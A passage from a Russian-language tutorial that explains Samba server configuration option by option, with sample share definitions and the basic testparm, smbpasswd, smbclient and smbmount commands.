  • ; unix password sync = Yes

    ; passwd program = /usr/bin/passwd %u

    ; passwd chat = *New*UNIX*password* %n
    *ReType*new*UNIX*password* %n
    *asswd:*all*authentication*tokens*updated*successfully*

  • Где искать список соответствия пользователей самбы и Linux-пользователей. Пропало в последних 2.* и всех версиях 3.*.
  • user map = /etc/samba/smbusers

  • Гибкое конфигурирование работы сервера. Я здесь оставил все по умолчанию. По мануалу, вроде, можно назначать свой конфиг для каждой машины.
  • include = /etc/samba/smb.conf.%m

  • Строка возвращаемая клиенту. Подробнее смотри speed.txt и manual pages
  • socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192

  • Указывает на каком интерфейсе должна работать самба (или в какой сети находится сервер).
  • Можно прописать несколько значений разделяя их пробелами. Допускается написание имени интерфейса.
  • Из соображений безопасности настоятельно не рекомендуется включать доступ извне вашей сети.
  • interfaces = 10.10.20.1/24 eth2

  • Поставив здесь yes вы разрешите машинам с Windows95 заходить на вашу машину.
  • domain logons = yes

  • Эти две строки решают проблемы с кодировками в версиях 2.*. Если на открытую вами шару слить файлы с
  • названием содержащим русские символы то они будут читаемы и в Linux. Если кодировкой вашей системы является ср1251 – пишите соответствующее значение.
  • client code page=866

    character set=koi8-r

  • Эти две строки решают проблемы с кодировками в Samba 3.*.
  • dos charset=866

    unix charset=koi8-r

  • Рассылать на эти хосты оповещение о том что в сети появилась новая машина.
  • Для чего это надо. Дело в том что машины с Windows 9x не видят в сети себе-подобных
  • (в том числе и пингвина, прикинувшегося “мастдаем”) пока с них не придет по сети какой-нибудь пакет.
  • Если включим эту строку, сервер разошлет пустой пакет по указанным адресам. Обычно здесь прописывают броадкаст
  • необходимых подсеток.
  • remote announce = 10.10.20.255 10.10.10.44

  • Насколько я понял, эта опция разрешает самбе быть контролером домена
  • domain master = yes

  • Включение поддержки WINS.
  • wins support = yes

  • =================Сетевые ресурсы на вашей машине====================
  • Здесь вы можете открыть домашние папки для юзеров зарегистрированных на вашей машине,
  • общедоступные ресурсы (например если вы поднимаете общий файл-сервер) либо ресурсы для
  • определенных юзеров
  • Здесь вся настройка сводится к указанию папки, доступ к которой вы открываете и настройке
  • прав доступа.
  • Применяются такие команды:
  • comment – комментарий ресурсаpath – путь к папкеvolume – dos-метка дискаguest ok – доступ к ресурсу без аутентификацииread only – запрет на записьwritable – разрешение на записьwrite list – список юзеров, которым разрешена записьread list – список юзеров, которым запрещена записьhide dot files – считать файлы, имя которых начинается с точки скрытымиhide files – файлы определенные этим шаблоном считать скрытымиveto files – файлы определенные этим шаблоном будут недоступныdelete veto files – разрешение или запрет на удаление недоступных для пользователя файлов.

  • Используется когда пользователь пытается удалить папку содержащую запрещенные файлы
  • Эта шара открывается для каждого зарегистрированного самба-пользователя и ведет в его домашнюю папку (/home/…).
  • У меня выключено за ненадобностью.
  • [homes]comment = Home Directoriesreadonly=nobrowseable = nowritable = yes

  • Un-comment the following and create the netlogon directory for Domain Logons
  • [netlogon]
    comment = Network Logon Service
    path = /home/netlogon
    guest ok = yes
    writable = no
    share modes = no

  • Un-comment the following to provide a specific roving profile share
  • the default is to use the user's home directory
  • [Profiles]
    path = /home/profiles
    browseable = no
    guest ok = yes

  • NOTE: If you have a BSD-style print system there is no need to
  • specifically define each individual printer
  • [printers]
    comment = All Printers
    path = /var/spool/samba
    browseable = no

  • Set public = yes to allow user 'guest account' to print
  • guest ok = no
    printable = yes

  • This one is useful for people to share files
  • [tmp]
    comment = Temporary file space
    path = /tmp
    read only = no
    public = yes

  • A publicly accessible directory, but read only, except for people in
  • the “staff” group
  • [public]
    comment = Public Stuff
    path = /home/samba
    public = yes
    writable = yes
    printable = no
    write list = @staff

  • Other examples. #
  • A private printer, usable only by fred. Spool data will be placed in fred's
  • home directory. Note that fred must have write access to the spool directory,
  • wherever it is.
  • [fredsprn]
    comment = Fred's Printer
    valid users = fred
    path = /homes/fred
    printer = freds_printer
    public = no
    printable = yes

  • A private directory, usable only by fred. Note that fred requires write
  • access to the directory.
  • [fredsdir]
    comment = Fred's Service
    path = /usr/somewhere/private
    valid users = fred
    public = no
    writable = yes
    printable = no

  • a service which has a different directory for each machine that connects
  • this allows you to tailor configurations to incoming machines. You could
  • also use the %u option to tailor it by user .
  • The %m gets replaced with the machine that is connecting.
  • [pchome]
    comment = PC Directories
    path = /usr/pc/%m
    public = no
    writable = yes

  • A publicly accessible directory, read/write to all users. Note that all files
  • created in the directory by users will be owned by the default user, so
  • any user with access can delete any other user's files. Obviously this
  • directory must be writable by the default user. Another user could of course
  • be specified, in which case all files would be owned by that user instead.
  • [public]
    path = /usr/somewhere/else/public
    public = yes
    only guest = yes
    writable = yes
    printable = no

  • The following two entries demonstrate how to share a directory so that two
  • users can place files there that will be owned by the specific users. In this
  • setup, the directory should be writable by both users and should have the
  • sticky bit set on it to prevent abuse. Obviously this could be extended to
  • as many users as required.
  • [myshare]
    comment = Mary's and Fred's stuff
    path = /usr/somewhere/shared
    valid users = mary fred
    public = no
    writable = yes
    printable = no
    create mask = 0765

    Привожу свои открытые ресурсы.

    [public]path=/home/samba/publiccomment=File-sharewritable = yesguest ok=yes

    [CD]path=/mnt/cdromcomment=For read CDROMguest ok=yeswritable=no

    В принципе, все. Осталось проверить и запустить.

    После конфигурирования пробуем команду testparm -v|less. Для чего тут необходим less, думаю, объяснять не надо… Будут протестированы указанные параметры самбы.

    Если вы видите, что какойто параметр вы не указывали а он здесь есть, не пугайтесь, это значения по умолчанию. Кстати, таким образом очень хорошо изучать Samba на более глубоком уровне – прогоняем, смотрим параметр, читаем мануал.

    Кстати мануал по самбе, на мой взгляд, один из лучших. Хоть и огромного размера, зато все описано очень доходчиво и хорошо структурировано.

    Если проверка не выявила ошибок, перезапускам samba.

    Для RedHat-подобных систем:

    #/etc/rc.d/init.d/smb restart

    Для BSD-подобных (например Slackware):

    #/etc/rc.d/samba restart

    Еще несколько необходимых вам команд:

    smbpasswd – Добавить пользователя или изменить пароль существующему.

    smbpasswd -a user – добавить пользователя. Обратите внимание, что должен быть создан Linux-пользователь с таким же именем.

    smbpasswd -x user – удалить пользователя.

    smbpasswd user – сменить пароль.

    Пароли хранятся в smbpasswd. Сведения о пользователях в smbusers.

    smbclient -L host – укажет все открытые шары на удаленной машине + некоторую интересную информацию.

    smbmount – монтирование удаленной шары. Формат такой же как и у mount. Отличие в наличии дополнительных примочек. Подробнее смотрите man smbmount

    Если, при монтировании, возникают проблемы с кодировкой русскоязычных названий папок и файлов, попробуйте в конце дописать -o codepage=866,iocharset=koi8-r

    За сим все.

    Понравилась статья? Поделиться с друзьями:
    Все о сантехнике
    1 / 20
    3 / 20
    5 / 20
    7 / 20
    9 / 20
    11 / 20
    13 / 20
    15 / 20
    17 / 20
    19 / 20